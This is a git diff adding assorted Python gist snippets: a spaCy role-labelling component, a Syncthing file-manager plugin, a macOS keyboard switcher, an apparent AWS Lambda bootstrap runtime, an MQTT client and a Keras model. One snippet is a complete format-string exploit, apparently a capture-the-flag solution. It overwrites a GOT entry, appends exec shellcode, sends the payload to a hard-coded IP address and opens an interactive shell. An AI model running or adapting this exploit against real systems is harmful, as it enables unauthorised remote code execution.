+                    start = tags.index("B-ARG1")
+                    end = max([i for i, x in enumerate(tags) if x == "I-ARG1"] + [start]) + 1
+                    word._.set("srl_arg1", doc[start:end])
+        
+        return doc
+    
+    def _get_srl_model(self):
+        return cached_path(DEFAULT_MODELS['semantic-role-labeling'])
+
+    
+def demo():
+    nlp = spacy.load("en")
+    nlp.add_pipe(SRLComponent(), after='ner')
+    doc = nlp("Apple sold 1 million Plumbuses this month.")
+    for w in doc:
+        if w.pos_ == "VERB":
+            print("('{}', '{}', '{}')".format(w._.srl_arg0, w, w._.srl_arg1)) 
+            # ('Apple', 'sold', '1 million Plumbuses)
+            
\ No newline at end of file
diff --git a/hard-gists/f7d8b6cb045cbb65ab80/._snippet.py b/hard-gists/f7d8b6cb045cbb65ab80/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f7d8b6cb045cbb65ab80/._snippet.py differ
diff --git a/hard-gists/f7d8b6cb045cbb65ab80/snippet.py b/hard-gists/f7d8b6cb045cbb65ab80/snippet.py
new file mode 100644
index 00000000..404d8f2f
--- /dev/null
+++ b/hard-gists/f7d8b6cb045cbb65ab80/snippet.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+
+from nulllife import *
+import struct
+
+
+shellcode = NullShell(name = 'exec', arch = 'x86', os = 'linux').get()
+stack_chk_got = 0x0804A018
+message_data  = 0x0804A070
+
+#location for shellcode address
+shell_addr = 0x0804A2F0
+
+payload = "A" * 3
+#overwrite got bytexbyte
+payload += struct.pack("<I", stack_chk_got)
+payload += struct.pack("<I", stack_chk_got + 1)
+payload += struct.pack("<I", stack_chk_got + 2)
+payload += struct.pack("<I", stack_chk_got + 3)
+payload +=  "A" * (183 - len(payload)) #padding to format string
+payload += "%s%s" 
+
+#already write 0xE9 bytes
+payload += "%13$hn" #write first byte
+payload += "%" + str(0x1A2 - 0xE9) + "X" #padding to second byte value
+payload += "%14$hn" 
+payload += "%" + str(0x204 - 0x1A2) + "X" #padding to 3 byte value
+payload += "%15$hn" 
+payload += "DEAD" #padding to 4 byte value
+payload += "%16$hn"
+payload += "\x00"
+
+payload += (shell_addr + 0x10 + - 0x0804A070 - len(payload)) * "\x90"
+payload += shellcode
+
+
+s = NullSocket("203.66.57.148", 9527)
+print s.readuntil('?')
+s.writeline('y')
+print '[!] Send payload'
+s.writeline(payload)
+print '[+] Got shell...'
+s.interactive()
\ No newline at end of file
diff --git a/hard-gists/f7fdb8284643b1c175a9/._snippet.py b/hard-gists/f7fdb8284643b1c175a9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f7fdb8284643b1c175a9/._snippet.py differ
diff --git a/hard-gists/f7fdb8284643b1c175a9/snippet.py b/hard-gists/f7fdb8284643b1c175a9/snippet.py
new file mode 100644
index 00000000..558e38f4
--- /dev/null
+++ b/hard-gists/f7fdb8284643b1c175a9/snippet.py
@@ -0,0 +1,147 @@
+'''
+Syncthing integration for Caja (MATE file manager)
+
+1) Put it into ~/.local/share/caja-python/extensions
+
+2) Install python-caja:
+    # sudo apt-get install python-caja
+
+3) Install python-requests:
+    $ sudo add-apt-repository ppa:deluge-team/ppa
+    $ sudo apt-get install requests
+OR:
+    $ sudo pip install requests
+
+4) Set your Syncthing URL and API-key:
+'''
+REST_URL = 'http://localhost:8080/rest'
+API_KEY = 'INSERT_YOUR_API_KEY_HERE'
+
+
+from gi.repository import Caja, GObject
+import os
+import json
+import urllib
+import requests
+
+
+def _get_item_path(item):
+    uri_raw = item.get_uri()
+    if len(uri_raw) < 7:
+        return ''
+    return os.path.normpath(urllib.unquote(uri_raw[7:]))
+
+
+def _get_dir_path(item):
+    dir_path = _get_item_path(item)
+    if os.path.isfile(dir_path):
+        dir_path = os.path.dirname(dir_path)
+    return dir_path
+
+
+def _get_conf():
+    resp = requests.get(REST_URL + '/config')
+    return resp.json()
+
+
+def _set_conf(conf):
+    resp = requests.post(REST_URL + '/config', json.dumps(conf), headers={'X-API-Key': API_KEY})
+    restarted = requests.post(REST_URL + '/restart', headers={'X-API-Key': API_KEY})
+    return restarted
+
+
+def _get_synced_dirs(conf):
+    return {i['ID']: os.path.normpath(i['Path']) for i in conf['Folders']}
+
+
+class SyncthingMenuProvider(GObject.GObject, Caja.InfoProvider, Caja.MenuProvider):
+    def __init__(self):
+        """Caja crashes if a plugin doesn't implement the __init__ method"""
+        pass
+
+    def _is_server_online(self):
+        try:
+            r = requests.get(REST_URL + '/ping').json()
+            return True
+        except requests.ConnectionError as e:
+            return False
+
+    # ================= InfoProvider ======================
+
+    def update_file_info(self, item):
+        if item.get_uri_scheme() != 'file':
+            return
+
+        synced_dirs = _get_synced_dirs(_get_conf())
+        item_path = _get_item_path(item)
+        if item_path in synced_dirs.values():
+            item.add_emblem('synchronizing')
+
+    # ================= MenuProvider ======================
+
+    def get_file_items(self, window, sel_items):
+        if len(sel_items) != 1 or sel_items[0].get_uri_scheme() != 'file':
+            return
+        if not self._is_server_online():
+            return
+
+        synced_dirs = _get_synced_dirs(_get_conf())
+        dir_path = _get_item_path(sel_items[0])
+        if dir_path in synced_dirs.values():
+            item = Caja.MenuItem(name='CajaSyncthing::dir_rm',
+                                     label='Remove Directory from Syncthing',
+                                     tip='Remove selected directory from syncthing',
+                                     icon='emblem-synchronizing')
+            item.connect('activate', self.on_dir_rm, sel_items[0])
+        else:
+            item = Caja.MenuItem(name='CajaSyncthing::dir_add',
+                                     label='Add Directory to Syncthing',
+                                     tip='Add selected directory to syncthing',
+                                     icon='emblem-synchronizing')
+            item.connect('activate', self.on_dir_add, sel_items[0])
+        return [item]
+
+    def get_background_items(self, window, current_directory):
+        if not self._is_server_online():
+            return
+
+        synced_dirs = _get_synced_dirs(_get_conf())
+        dir_path = _get_item_path(current_directory)
+        if dir_path in synced_dirs.values():
+            item = Caja.MenuItem(name='CajaSyncthing::curr_dir_rm',
+                                     label='Remove Current Directory from Syncthing',
+                                     tip='Remove current directory from syncthing',
+                                     icon='emblem-synchronizing')
+            item.connect('activate', self.on_dir_rm, current_directory)
+        else:
+            item = Caja.MenuItem(name='CajaSyncthing::curr_dir_add',
+                                     label='Add Current Directory to Syncthing',
+                                     tip='Add current directory to syncthing',
+                                     icon='emblem-synchronizing')
+            item.connect('activate', self.on_dir_add, current_directory)
+        return [item]
+
+    def on_dir_add(self, menu, selected):
+        dir_path = _get_dir_path(selected)
+        dir_id = os.path.basename(dir_path)
+
+        conf = _get_conf()
+        synced_dirs = _get_synced_dirs(conf)
+        if (dir_id in synced_dirs.keys()) or (dir_path in synced_dirs.values()):
+            return
+
+        conf['Folders'].append({'ID': dir_id, 'Path': dir_path})
+
+        _set_conf(conf)
+
+    def on_dir_rm(self, menu, selected):
+        dir_path = _get_dir_path(selected)
+
+        conf = _get_conf()
+        synced_dirs = _get_synced_dirs(conf)
+        if dir_path in synced_dirs.values():
+            for f in conf['Folders']:
+                if f['Path'] == dir_path:
+                    conf['Folders'].remove(f)
+
+        _set_conf(conf)
diff --git a/hard-gists/f85e89bef4b6e9b83f2a/._snippet.py b/hard-gists/f85e89bef4b6e9b83f2a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f85e89bef4b6e9b83f2a/._snippet.py differ
diff --git a/hard-gists/f85e89bef4b6e9b83f2a/snippet.py b/hard-gists/f85e89bef4b6e9b83f2a/snippet.py
new file mode 100644
index 00000000..6ab8de73
--- /dev/null
+++ b/hard-gists/f85e89bef4b6e9b83f2a/snippet.py
@@ -0,0 +1,98 @@
+#! /usr/bin/env python
+# coding: utf-8
+
+'''
+auto switch keyboard between different applications
+
+if you want to change the app list, modify the var 'ignore_list'
+'''
+
+from AppKit import NSWorkspace, NSWorkspaceDidActivateApplicationNotification, NSWorkspaceApplicationKey
+from Foundation import NSObject
+from PyObjCTools import AppHelper
+import ctypes
+import ctypes.util
+import objc
+import CoreFoundation
+
+# add your custom apps here, check the bundle id in /Application/xx.app/Contents/info.plist
+
+ignore_list = [
+    "com.googlecode.iterm2",
+    "com.runningwithcrayons.Alfred-2",
+    "com.jetbrains.intellij.ce-EAP"
+]
+
+
+carbon = ctypes.cdll.LoadLibrary(ctypes.util.find_library('Carbon'))
+
+_objc = ctypes.PyDLL(objc._objc.__file__)
+
+# PyObject *PyObjCObject_New(id objc_object, int flags, int retain)
+_objc.PyObjCObject_New.restype = ctypes.py_object
+_objc.PyObjCObject_New.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_int]
+
+def objc_object(id):
+    return _objc.PyObjCObject_New(id, 0, 1)
+
+# kTISPropertyLocalizedName
+kTISPropertyUnicodeKeyLayoutData_p = ctypes.c_void_p.in_dll(carbon, 'kTISPropertyInputSourceIsEnabled')
+kTISPropertyInputSourceLanguages_p = ctypes.c_void_p.in_dll(carbon, 'kTISPropertyInputSourceLanguages')
+kTISPropertyInputSourceType_p = ctypes.c_void_p.in_dll(carbon, 'kTISPropertyInputSourceType')
+kTISPropertyLocalizedName_p = ctypes.c_void_p.in_dll(carbon, 'kTISPropertyLocalizedName')
+# kTISPropertyInputSourceLanguages_p = ctypes.c_void_p.in_dll(carbon, 'kTISPropertyInputSourceLanguages')
+
+kTISPropertyInputSourceCategory = objc_object(ctypes.c_void_p.in_dll(carbon, 'kTISPropertyInputSourceCategory'))
+kTISCategoryKeyboardInputSource = objc_object(ctypes.c_void_p.in_dll(carbon, 'kTISCategoryKeyboardInputSource'))
+
+
+# TISCreateInputSourceList
+carbon.TISCreateInputSourceList.restype = ctypes.c_void_p
+carbon.TISCreateInputSourceList.argtypes = [ctypes.c_void_p, ctypes.c_bool]
+
+carbon.TISSelectInputSource.restype = ctypes.c_void_p
+carbon.TISSelectInputSource.argtypes = [ctypes.c_void_p]
+
+carbon.TISGetInputSourceProperty.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
+carbon.TISGetInputSourceProperty.restype = ctypes.c_void_p
+
+# carbon.TISCopyCurrentKeyboardLayoutInputSource.argtypes = []
+# carbon.TISCopyCurrentKeyboardLayoutInputSource.restype = ctypes.c_void_p
+
+carbon.TISCopyInputSourceForLanguage.argtypes = [ctypes.c_void_p]
+carbon.TISCopyInputSourceForLanguage.restype = ctypes.c_void_p
+
+
+def get_avaliable_languages():
+    single_langs = filter(lambda x: x.count() == 1, \
+        map(lambda x: objc_object(carbon.TISGetInputSourceProperty(CoreFoundation.CFArrayGetValueAtIndex(objc_object(s), x).__c_void_p__(), kTISPropertyInputSourceLanguages_p)), \
+            range(CoreFoundation.CFArrayGetCount(objc_object(carbon.TISCreateInputSourceList(None, 0))))))
+    res = set()
+    map(lambda y: res.add(y[0]), single_langs)
+    return res
+
+def select_kb(lang):
+    cur = carbon.TISCopyInputSourceForLanguage(CoreFoundation.CFSTR(lang).__c_void_p__())
+    carbon.TISSelectInputSource(cur)
+
+class Observer(NSObject):
+    def handle_(self, noti):
+        info = noti.userInfo().objectForKey_(NSWorkspaceApplicationKey)
+        bundleIdentifier = info.bundleIdentifier()
+        if bundleIdentifier in ignore_list:
+            print "found: %s active" % bundleIdentifier
+            select_kb(u'en')
+
+
+def main():
+    nc = NSWorkspace.sharedWorkspace().notificationCenter()
+    observer = Observer.new()
+    nc.addObserver_selector_name_object_(
+        observer,
+        "handle:",
+        NSWorkspaceDidActivateApplicationNotification,
+        None
+    )
+    AppHelper.runConsoleEventLoop(installInterrupt=True)
+
+main()
\ No newline at end of file
diff --git a/hard-gists/f884a43c59e26199591ec4e234d069f5/._snippet.py b/hard-gists/f884a43c59e26199591ec4e234d069f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f884a43c59e26199591ec4e234d069f5/._snippet.py differ
diff --git a/hard-gists/f884a43c59e26199591ec4e234d069f5/snippet.py b/hard-gists/f884a43c59e26199591ec4e234d069f5/snippet.py
new file mode 100644
index 00000000..c872a9a1
--- /dev/null
+++ b/hard-gists/f884a43c59e26199591ec4e234d069f5/snippet.py
@@ -0,0 +1,515 @@
+# -*- coding: utf-8 -*-
+# /var/runtime/awslambda/bootstrap.py
+"""
+aws_lambda.bootstrap.py
+Amazon Lambda
+
+Copyright (c) 2013 Amazon. All rights reserved.
+
+Lambda runtime implemention
+"""
+from __future__ import print_function
+
+import decimal
+import imp
+import json
+import logging
+import os
+import site
+import socket
+import sys
+import time
+import traceback
+
+import runtime as lambda_runtime
+
+import wsgi
+
+
+def _get_handlers(handler, mode):
+    lambda_runtime.report_user_init_start()
+    init_handler = lambda: None
+
+    """
+    This is the old way we were loading modules.
+    It was causing intermittent build failures for unknown reasons.
+    Using the imp module seems to remove these failures.
+    The imp module appears to be more extreme in that it reloads
+    the module if it is already loaded, and it likely doesn't use any caches when
+    searching for the module but does a full directory search, which is what we want.
+    """
+    # m = imp.load_module(modname, globals(), locals(), [])
+
+    try:
+        (modname, fname) = handler.rsplit('.', 1)
+    except ValueError as e:
+        fault = wsgi.FaultException("Bad handler '{}'".format(handler), str(e), None)
+        request_handler = make_fault_handler(fault)
+        lambda_runtime.report_user_init_end()
+        return init_handler, request_handler
+
+    file_handle, pathname, desc = None, None, None
+    try:
+        # Recursively loading handler in nested directories
+        for segment in modname.split('.'):
+            if pathname is not None:
+                pathname = [pathname]
+            file_handle, pathname, desc = imp.find_module(segment, pathname)
+        if file_handle is None:
+            module_type = desc[2]
+            if module_type == imp.C_BUILTIN:
+                request_handler = make_fault_handler(wsgi.FaultException(
+                    "Cannot use built-in module {} as a handler module".format(modname),
+                    None,
+                    None
+                ))
+                lambda_runtime.report_user_init_end()
+                return init_handler, request_handler
+        m = imp.load_module(modname, file_handle, pathname, desc)
+    except Exception as e:
+        request_handler = load_handler_failed_handler(e, modname)
+        lambda_runtime.report_user_init_end()
+        return init_handler, request_handler
+    finally:
+        if file_handle is not None:
+            file_handle.close()
+
+    try:
+        init_handler = getattr(m, 'init')
+    except AttributeError as e:
+        pass
+
+    try:
+        request_handler = make_final_handler(getattr(m, fname), mode)
+    except AttributeError as e:
+        fault = wsgi.FaultException("Handler '{}' missing on module '{}'".format(fname, modname), str(e), None)
+        request_handler = make_fault_handler(fault)
+    lambda_runtime.report_user_init_end()
+    return init_handler, request_handler
+
+
+# Run a function called 'init', if provided in the same module as the request handler. This is an
+# undocumented feature, existed to keep backward compatibility.
+def run_init_handler(init_handler, invokeid):
+    try:
+        init_handler()
+    except wsgi.FaultException as e:
+        lambda_runtime.report_fault(invokeid, e.msg, e.except_value, e.trace)
+
+
+class number_str(float):
+    def __init__(self, o):
+        self.o = o
+
+    def __repr__(self):
+        return str(self.o)
+
+
+def decimal_serializer(o):
+    if isinstance(o, decimal.Decimal):
+        return number_str(o)
+    raise TypeError(repr(o) + " is not JSON serializable")
+
+
+def load_handler_failed_handler(e, modname):
+    if isinstance(e, ImportError):
+        return make_fault_handler(wsgi.FaultException("Unable to import module '{}'".format(modname), str(e), None))
+    elif isinstance(e, SyntaxError):
+        trace = "File \"%s\" Line %s\n\t%s" % (e.filename, e.lineno, e.text)
+        fault = wsgi.FaultException("Syntax error in module '{}'".format(modname), str(e), trace)
+    else:
+        exc_info = sys.exc_info()
+        trace = traceback.format_list(traceback.extract_tb(exc_info[2]))
+        fault = wsgi.FaultException("module initialization error", str(e), trace[1:])
+    return make_fault_handler(fault)
+
+
+def make_fault_handler(fault):
+    def result(*args):
+        raise fault
+
+    return result
+
+
+def set_environ(credentials):
+    key, secret, session = credentials.get('key'), credentials.get('secret'), credentials.get('session')
+    # TODO delete from environ if params not found
+    if credentials.get('key'):
+        os.environ['AWS_ACCESS_KEY_ID'] = key
+    if credentials.get('secret'):
+        os.environ['AWS_SECRET_ACCESS_KEY'] = secret
+    if credentials.get('session'):
+        os.environ['AWS_SESSION_TOKEN'] = session
+        os.environ['AWS_SECURITY_TOKEN'] = session
+
+
+'''
+PYTHONPATH may have paths that were not available when the interpreter was launched.
+This would force the path importer cache get updated.
+'''
+
+
+def force_path_importer_cache_update():
+    for path in os.environ.get("PYTHONPATH", "").split(":"):
+        if path == os.environ["LAMBDA_RUNTIME_DIR"]:
+            continue
+        importer = sys.path_importer_cache.get(path, None)
+        if not importer or isinstance(importer, imp.NullImporter):
+            sys.path_importer_cache.pop(path, None)
+
+
+def wait_for_start():
+    (invokeid, mode, handler, suppress_init, credentials) = lambda_runtime.receive_start()
+    force_path_importer_cache_update()
+    set_environ(credentials)
+    lambda_runtime.report_running(invokeid)
+
+    return (invokeid, mode, handler, suppress_init, credentials)
+
+
+def wait_for_invoke():
+    (
+        invokeid,
+        data_sock,
+        credentials,
+        event_body,
+        context_objs,
+        invoked_function_arn,
+        x_amzn_trace_id
+    ) = lambda_runtime.receive_invoke()
+
+    set_environ(credentials)
+
+    return (invokeid, x_amzn_trace_id, data_sock, credentials, event_body, context_objs, invoked_function_arn)
+
+
+def make_final_handler(handlerfn, mode):
+    if mode == "http":
+        def result(sockfd):
+            invoke_http(handlerfn, sockfd)
+    elif mode == "event":
+        return handlerfn
+    else:
+        def result(sockfd):
+            raise wsgi.FaultException("specified mode is invalid: " + mode)
+    return result
+
+
+def invoke_http(handlerfn, sockfd):
+    fault_data = wsgi.handle_one(sockfd, ('localhost', 80), handlerfn)
+    if fault_data:
+        raise wsgi.FaultException(fault_data.msg, fault_data.except_value, fault_data.trace)
+
+
+def try_or_raise(function, error_message):
+    try:
+        return function()
+    except Exception as e:
+        raise JsonError(sys.exc_info(), error_message)
+
+
+def make_error(errorMessage, errorType, stackTrace):  # stackTrace is an array
+    result = {}
+    if errorMessage:
+        result['errorMessage'] = errorMessage
+    if errorType:
+        result['errorType'] = errorType
+    if stackTrace:
+        result['stackTrace'] = stackTrace
+    return result
+
+
+def handle_http_request(request_handler, invokeid, sockfd):
+    try:
+        request_handler(sockfd)
+    except wsgi.FaultException as e:
+        lambda_runtime.report_fault(invokeid, e.msg, e.except_value, e.trace)
+    finally:
+        try:
+            os.close(sockfd)
+        except Exception as e:
+            print("Error closing original data connection descriptor", file=sys.stderr)
+            traceback.print_exc()
+        finally:
+            lambda_runtime.report_done(invokeid, None, None)
+
+
+def to_json(obj):
+    return json.dumps(obj, default=decimal_serializer)
+
+
+def handle_event_request(request_handler, invokeid, event_body, context_objs, invoked_function_arn):
+    lambda_runtime.report_user_invoke_start()
+    errortype = None
+    try:
+        client_context = context_objs.get('client_context')
+        if client_context:
+            client_context = try_or_raise(lambda: json.loads(client_context), "Unable to parse client context")
+        context = LambdaContext(invokeid, context_objs, client_context, invoked_function_arn)
+        json_input = try_or_raise(lambda: json.loads(event_body), "Unable to parse input as json")
+        result = request_handler(json_input, context)
+        result = try_or_raise(lambda: to_json(result), "An error occurred during JSON serialization of response")
+    except wsgi.FaultException as e:
+        lambda_runtime.report_fault(invokeid, e.msg, e.except_value, None)
+        report_xray_fault_helper("LambdaValidationError", e.msg, [])
+        result = make_error(e.msg, None, None)
+        result = to_json(result)
+        errortype = "unhandled"
+    except JsonError as e:
+        result = report_fault_helper(invokeid, e.exc_info, e.msg)
+        result = to_json(result)
+        errortype = "unhandled"
+    except Exception as e:
+        result = report_fault_helper(invokeid, sys.exc_info(), None)
+        result = to_json(result)
+        errortype = "unhandled"
+    lambda_runtime.report_user_invoke_end()
+    lambda_runtime.report_done(invokeid, errortype, result)
+
+
+def craft_xray_fault(ex_type, ex_msg, working_dir, tb_tuples):
+    stack = []
+    files = set()
+    for t in tb_tuples:
+        tb_file, tb_line, tb_method, tb_code = t
+        tb_xray = {
+            'label': tb_method,
+            'path': tb_file,
+            'line': tb_line
+        }
+        stack.append(tb_xray)
+        files.add(tb_file)
+
+    formatted_ex = {
+        'message': ex_msg,
+        'type': ex_type,
+        'stack': stack
+    }
+    xray_fault = {
+        'working_directory': working_dir,
+        'exceptions': [formatted_ex],
+        'paths': list(files)
+    }
+    return xray_fault
+
+
+def report_xray_fault_helper(etype, msg, tb_tuples):
+    xray_fault = craft_xray_fault(etype, msg, os.getcwd(), tb_tuples)
+    xray_json = to_json(xray_fault)
+    try:
+        lambda_runtime.report_xray_exception(xray_json)
+    except:
+        # Intentionally swallowing
+        # We don't report exception to the user just because Xray reported an exception.
+        pass
+
+
+def report_fault_helper(invokeid, exc_info, msg):
+    etype, value, tb = exc_info
+    if msg:
+        msgs = [msg, str(value)]
+    else:
+        msgs = [str(value), etype.__name__]
+
+    tb_tuples = extract_traceback(tb)
+
+    if sys.version_info[0] >= 3:
+        awesome_range = range
+    else:
+        awesome_range = xrange
+
+    for i in awesome_range(len(tb_tuples)):
+        if "/bootstrap.py" not in tb_tuples[i][0]:  # filename of the tb tuple
+            tb_tuples = tb_tuples[i:]
+            break
+
+    lambda_runtime.report_fault(
+        invokeid,
+        msgs[0],
+        msgs[1],
+        (
+            "Traceback (most recent call last):\n"
+            + ''.join(traceback.format_list(tb_tuples))
+            + ''.join(traceback.format_exception_only(etype, value))
+        )
+    )
+    report_xray_fault_helper(etype.__name__, msgs[0], tb_tuples)
+
+    return make_error(str(value), etype.__name__, tb_tuples)
+
+
+def extract_traceback(tb):
+    frames = traceback.extract_tb(tb)
+
+    if sys.version_info[0] >= 3:
+        # Python3 returns a list of SummaryFrames instead of a list of tuples
+        # for traceback.extract_tb() calls.
+        # To make it consistent, we map the list of frames to a list of tuples just like python2
+        frames = [(frame.filename, frame.lineno, frame.name, frame.line) for frame in frames]
+
+    return frames
+
+
+class CustomFile(object):
+    def __init__(self, fd):
+        self._fd = fd
+
+    def __getattr__(self, attr):
+        return getattr(self._fd, attr)
+
+    def write(self, msg):
+        lambda_runtime.log_bytes(msg, self._fd.fileno())
+        self._fd.flush()
+
+    def writelines(self, msgs):
+        for msg in msgs:
+            lambda_runtime.log_bytes(msg, self._fd.fileno())
+            self._fd.flush()
+
+
+class CognitoIdentity(object):
+    __slots__ = ["cognito_identity_id", "cognito_identity_pool_id"]
+
+
+class Client(object):
+    __slots__ = ["installation_id", "app_title", "app_version_name", "app_version_code", "app_package_name"]
+
+
+class ClientContext(object):
+    __slots__ = ['custom', 'env', 'client']
+
+
+def make_obj_from_dict(_class, _dict, fields=None):
+    if _dict is None:
+        return None
+    obj = _class()
+    set_obj_from_dict(obj, _dict)
+    return obj
+
+
+def set_obj_from_dict(obj, _dict, fields=None):
+    if fields is None:
+        fields = obj.__class__.__slots__
+    for field in fields:
+        setattr(obj, field, _dict.get(field, None))
+
+
+class LambdaContext(object):
+    def __init__(self, invokeid, context_objs, client_context, invoked_function_arn=None):
+        self.aws_request_id = invokeid
+        self.log_group_name = os.environ['AWS_LAMBDA_LOG_GROUP_NAME']
+        self.log_stream_name = os.environ['AWS_LAMBDA_LOG_STREAM_NAME']
+        self.function_name = os.environ["AWS_LAMBDA_FUNCTION_NAME"]
+        self.memory_limit_in_mb = os.environ['AWS_LAMBDA_FUNCTION_MEMORY_SIZE']
+        self.function_version = os.environ['AWS_LAMBDA_FUNCTION_VERSION']
+        self.invoked_function_arn = invoked_function_arn
+
+        self.client_context = make_obj_from_dict(ClientContext, client_context)
+        if self.client_context is not None:
+            self.client_context.client = make_obj_from_dict(Client, self.client_context.client)
+        self.identity = make_obj_from_dict(CognitoIdentity, context_objs)
+
+    def get_remaining_time_in_millis(self):
+        return lambda_runtime.get_remaining_time()
+
+    def log(self, msg):
+        lambda_runtime.send_console_message(str(msg))
+
+
+class LambdaLoggerHandler(logging.Handler):
+    def __init__(self):
+        logging.Handler.__init__(self)
+
+    def emit(self, record):
+        lambda_runtime.send_console_message(self.format(record))
+
+
+class LambdaLoggerFilter(logging.Filter):
+    def filter(self, record):
+        record.aws_request_id = _GLOBAL_AWS_REQUEST_ID or ""
+        return True
+
+
+class JsonError(Exception):
+    def __init__(self, exc_info, msg):
+        self.exc_info = exc_info
+        self.msg = msg
+
+
+_GLOBAL_DEFAULT_TIMEOUT = socket._GLOBAL_DEFAULT_TIMEOUT
+_GLOBAL_AWS_REQUEST_ID = None
+
+
+def log_info(msg):
+    lambda_runtime.log_sb("[INFO] ({}) {}".format(__file__, msg))
+
+
+def main():
+    if sys.version_info[0] < 3:
+        reload(sys)
+        sys.setdefaultencoding('utf-8')
+
+    sys.stdout = CustomFile(sys.stdout)
+    sys.stderr = CustomFile(sys.stderr)
+
+    logging.Formatter.converter = time.gmtime
+    logger = logging.getLogger()
+    logger_handler = LambdaLoggerHandler()
+    logger_handler.setFormatter(logging.Formatter(
+        '[%(levelname)s]\t%(asctime)s.%(msecs)dZ\t%(aws_request_id)s\t%(message)s\n',
+        '%Y-%m-%dT%H:%M:%S'
+    ))
+    logger_handler.addFilter(LambdaLoggerFilter())
+    logger.addHandler(logger_handler)
+
+    global _GLOBAL_AWS_REQUEST_ID
+
+    # Remove lambda internal environment variables
+    for env in [
+        "_LAMBDA_CONTROL_SOCKET",
+        "_LAMBDA_SHARED_MEM_FD",
+        "_LAMBDA_LOG_FD",
+        "_LAMBDA_CONSOLE_SOCKET",
+        "_LAMBDA_RUNTIME_LOAD_TIME"
+    ]:
+        del os.environ[env]
+
+    (invokeid, mode, handler, suppress_init, credentials) = wait_for_start()
+
+    sys.path.insert(0, os.environ['LAMBDA_TASK_ROOT'])
+
+    # Set /var/task as site directory so we are able to load all customer pth files
+    if sys.version_info[0] >= 3:
+        site.addsitedir(os.environ["LAMBDA_TASK_ROOT"])
+
+    if suppress_init:
+        init_handler, request_handler = lambda: None, None
+    else:
+        init_handler, request_handler = _get_handlers(handler, mode)
+    run_init_handler(init_handler, invokeid)
+    lambda_runtime.report_done(invokeid, None, None)
+    log_info("init complete at epoch {0}".format(int(round(time.time() * 1000))))
+
+    while True:
+        (invokeid, x_amzn_trace_id, sockfd, credentials, event_body, context_objs, invoked_function_arn) = wait_for_invoke()
+        _GLOBAL_AWS_REQUEST_ID = invokeid
+
+        if x_amzn_trace_id != None:
+            os.environ['_X_AMZN_TRACE_ID'] = x_amzn_trace_id
+        elif '_X_AMZN_TRACE_ID' in os.environ:
+            del os.environ['_X_AMZN_TRACE_ID']
+
+        # If the handler hasn't been loaded yet, due to init suppression, load it now.
+        if request_handler is None:
+            init_handler, request_handler = _get_handlers(handler, mode)
+            run_init_handler(init_handler, invokeid)
+
+        if mode == "http":
+            handle_http_request(request_handler, invokeid, sockfd)
+        elif mode == "event":
+            handle_event_request(request_handler, invokeid, event_body, context_objs, invoked_function_arn)
+
+
+if __name__ == '__main__':
+    log_info("main started at epoch {0}".format(int(round(time.time() * 1000))))
+    main()
\ No newline at end of file
diff --git a/hard-gists/f8ab99789fd347a13591bc7eeff97149/._snippet.py b/hard-gists/f8ab99789fd347a13591bc7eeff97149/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f8ab99789fd347a13591bc7eeff97149/._snippet.py differ
diff --git a/hard-gists/f8ab99789fd347a13591bc7eeff97149/snippet.py b/hard-gists/f8ab99789fd347a13591bc7eeff97149/snippet.py
new file mode 100644
index 00000000..de9a2627
--- /dev/null
+++ b/hard-gists/f8ab99789fd347a13591bc7eeff97149/snippet.py
@@ -0,0 +1,43 @@
+# sudo apt-get install python-pip
+# pip install paho-mqtt
+
+import paho.mqtt.client as mqtt
+import threading
+
+def on_connect(mosq, obj, rc):
+	print("rc: " + str(rc))
+
+def on_message(mosq, obj, msg):
+	print(msg.topic + " " + str(msg.qos) + " " + str(msg.payload))
+
+def on_publish(mosq, obj, mid):
+	print("mid: " + str(mid))
+
+def on_subscribe(mosq, obj, mid, granted_qos):
+	print("Subscribed: " + str(mid) + " " + str(granted_qos))
+
+def on_log(mosq, obj, level, string):
+	print(string)
+
+def send_payload():
+	mqttc.publish("/topic", "PAYLOAD")
+
+mqttc = mqtt.Client()
+mqttc.on_message = on_message
+mqttc.on_connect = on_connect
+mqttc.on_publish = on_publish
+mqttc.on_subscribe = on_subscribe
+mqttc.username_pw_set("USERNAME","PASSWORD")
+mqttc.connect("SERVER URL", PORT)
+mqttc.subscribe("/topic", 0)
+mqttc.loop_start()
+
+def main():
+	while True:
+		print "test"
+		time.sleep(1)
+		send_payload();
+			
+if __name__ == '__main__':
+    main()
+
diff --git a/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/._snippet.py b/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/._snippet.py differ
diff --git a/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/snippet.py b/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/snippet.py
new file mode 100644
index 00000000..36260204
--- /dev/null
+++ b/hard-gists/f8b86d001a367aa7dde1ab6b587246b5/snippet.py
@@ -0,0 +1,198 @@
+from keras.models import Model
+from keras.layers import (
+    Input,
+    Dense,
+    Flatten,
+    merge,
+    Lambda
+)
+from keras.layers.convolutional import (
+    Convolution2D,
+    MaxPooling2D,
+    AveragePooling2D,
+    ZeroPadding2D
+)
+from keras.layers.normalization import BatchNormalization
+from keras.regularizers import l2
+import keras.backend as K
+
+
+# Evidently this model breaks Python's default recursion limit
+# This is a theano issue
+import sys
+sys.setrecursionlimit(10000)
+
+
+def BNConv(nb_filter, nb_row, nb_col, w_decay, subsample=(1, 1), border_mode="same"):
+    def f(input):
+        conv = Convolution2D(nb_filter=nb_filter, nb_row=nb_row, nb_col=nb_col, subsample=subsample,
+                      border_mode=border_mode, activation="relu",
+                      W_regularizer=l2(w_decay) if w_decay else None, init="he_normal")(input)
+        return BatchNormalization(mode=0, axis=1)(conv)
+    return f
+
+
+def inception_v3(w_decay=None):
+    input = Input(shape=(3, 299, 299))
+
+    conv_1 = BNConv(32, 3, 3, w_decay, subsample=(2, 2), border_mode="valid")(input)
